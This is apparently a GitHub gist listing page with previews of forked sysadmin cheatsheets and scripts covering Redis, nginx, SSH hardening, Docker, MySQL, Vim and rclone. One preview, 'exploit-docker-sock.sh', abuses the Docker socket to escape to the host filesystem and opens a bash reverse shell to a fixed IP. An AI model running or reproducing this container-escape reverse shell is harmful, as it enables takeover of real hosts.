Skip to content

Instantly share code, notes, and snippets.

View evasilev's full-sized avatar
🚜
I may be slow to respond...

Jenia evasilev

🚜
I may be slow to respond...
View GitHub Profile
@evasilev
evasilev / redis_cheatsheet.bash
Created January 19, 2024 11:08 — forked from LeCoupa/redis_cheatsheet.bash
Redis Cheatsheet - Basic Commands You Must Know --> UPDATED VERSION --> https://github.com/LeCoupa/awesome-cheatsheets
# Redis Cheatsheet
# All the commands you need to know
redis-server /path/redis.conf # start redis with the related configuration file
redis-cli # opens a redis prompt
# Strings.
@evasilev
evasilev / nginx-tuning.md
Created January 16, 2024 15:08 — forked from denji/nginx-tuning.md
NGINX tuning for best performance

NGINX Tuning For Best Performance

For this configuration you can use web server you like, i decided, because i work mostly with it to use nginx.

Generally, properly configured nginx can handle up to 400K to 500K requests per second (clustered), most what i saw is 50K to 80K (non-clustered) requests per second and 30% CPU load, course, this was 2 x Intel Xeon with HyperThreading enabled, but it can work without problem on slower machines.

You must understand that this config is used in testing environment and not in production so you will need to find a way to implement most of those features best possible for your servers.

@evasilev
evasilev / secure-ssh.yml
Created November 23, 2023 16:30 — forked from hughker/secure-ssh.yml
Secure SSH configuration ansible playbook
---
# SSH server settings, in line with https://stribika.github.io/2015/01/04/secure-secure-shell.html
# Before using, change myhosts to your hosts' nickname and myuser to your username (two instances! make sure you replace both or you'll be locked out of ssh!)
- hosts: myhosts
become: true
remote_user: myuser
tasks:
# Key exchange, ciphers and MACs
- lineinfile: dest=/etc/ssh/sshd_config regexp='^KexAlgorithms' line='KexAlgorithms [email protected],diffie-hellman-group-exchange-sha256'
@evasilev
evasilev / exploit-docker-sock.sh
Created November 10, 2023 16:13 — forked from PwnPeter/exploit-docker-sock.sh
Exploit docker.sock to mount root filesystem in a container
#!/bin/bash
# you can see images availables with
# curl -s --unix-socket /var/run/docker.sock http://localhost/images/json
# here we have sandbox:latest
# command executed when container is started
# change dir to tmp where the root fs is mount and execute reverse shell
cmd="[\"/bin/sh\",\"-c\",\"chroot /tmp sh -c \\\"bash -c 'bash -i &>/dev/tcp/10.10.14.30/12348 0<&1'\\\"\"]"
@evasilev
evasilev / docker-for-mac.md
Created June 29, 2023 12:14 — forked from BretFisher/docker-for-mac.md
Getting a Shell in the Docker Desktop Mac VM

2021 Update: Easiest option is Justin's repo and image

Just run this from your Mac terminal and it'll drop you in a container with full permissions on the Docker VM. This also works for Docker for Windows for getting in Moby Linux VM (doesn't work for Windows Containers).

docker run -it --rm --privileged --pid=host justincormack/nsenter1

more info: https://github.com/justincormack/nsenter1


@evasilev
evasilev / docker_for_mac_disk_default_size.md
Created June 29, 2023 12:02 — forked from stefanfoulis/docker_for_mac_disk_default_size.md
How to resize Docker for Mac Disk image and set the default size for new images

Set the default size for new Docker for Mac disk images

UPDATE: The instructions here are no longer necessary! Resizing the disk image is now possible right from the UI since Docker for Mac Version 17.12.0-ce-mac49 (21995).

If you are getting the error: No space left on device

Configuring the qcow2 size cap is possible in the current versions:

# my disk is currently 64GiB
@evasilev
evasilev / db1-db2-only-tables-diff.sh
Created June 5, 2023 13:18 — forked from molotovbliss/db1-db2-only-tables-diff.sh
Easily compare with diff, mysqldump two DB tables only (no data)
# Easily compare with diff, mysqldump two DB table schemas ignoring /* SET Comments etc... */ with grep
# Used originaly to locate missing custom tables from Magento 1.x to Magento 2.x after data migration
# dump both databases with as little details as possible (DONT run these in production without table locking disabled!)
# Use grep to remove /* SET ... */ like comments from dump and save to > dbX.sql
mysqldump --skip-set-charset --skip-triggers --skip-opt -K --skip-comments --skip-extended-insert -d --no-data -u root -p db1 | grep -v '^\/\*![0-9]\{5\}.*\/;$' > db1.sql;
mysqldump --skip-set-charset --skip-triggers --skip-opt -K --skip-comments --skip-extended-insert -d --no-data -u root -p db2 | grep -v '^\/\*![0-9]\{5\}.*\/;$' > db2.sql;
# compare both db dumps and grep for only CREATE TABLE lines
diff db1.sql db2.sql | grep -iP '^\<.CREATE.TABLE.\`.+\`'
@evasilev
evasilev / docker-prune.sh
Created February 10, 2022 21:20 — forked from sethbergman/docker-prune.sh
Prune stale Docker containers, images & volumes (Bash) (versions < 1.13.0)
#!/usr/bin/env bash
stale_images=`docker images --no-trunc --quiet --filter "dangling=true"`
stale_containers=`docker ps --no-trunc --quiet --filter "status=exited"`
stale_volumes=`docker volume ls --quiet --filter "dangling=true"`
stale_images_count=`echo "$stale_images" | sed '/^\s*$/d' | wc -l | xargs`
stale_containers_count=`echo "$stale_containers" | sed '/^\s*$/d' | wc -l | xargs`
stale_volumes_count=`echo "$stale_volumes" | sed '/^\s*$/d' | wc -l | xargs`
echo "Removing stale containers..."
@evasilev
evasilev / vim_cheatsheet.md
Created February 9, 2022 23:32 — forked from awidegreen/vim_cheatsheet.md
Vim shortcuts

Introduction

  • C-a == Ctrl-a
  • M-a == Alt-a

General

:q        close
:w        write/saves
:wa[!]    write/save all windows [force]
:wq       write/save and close
@evasilev
evasilev / rclone.conf
Created January 25, 2022 15:27 — forked from csereno/rclone.conf
~/.config/rclone/rclone.conf file demonstrating configurations for Wasabi, Google, and AWS S3
# For more details see https://rclone.org/s3/
[wasabi]
type = s3
provider = Wasabi
access_key_id = xxxxx
secret_access_key = xxx
region = us-east-1
endpoint = s3.wasabisys.com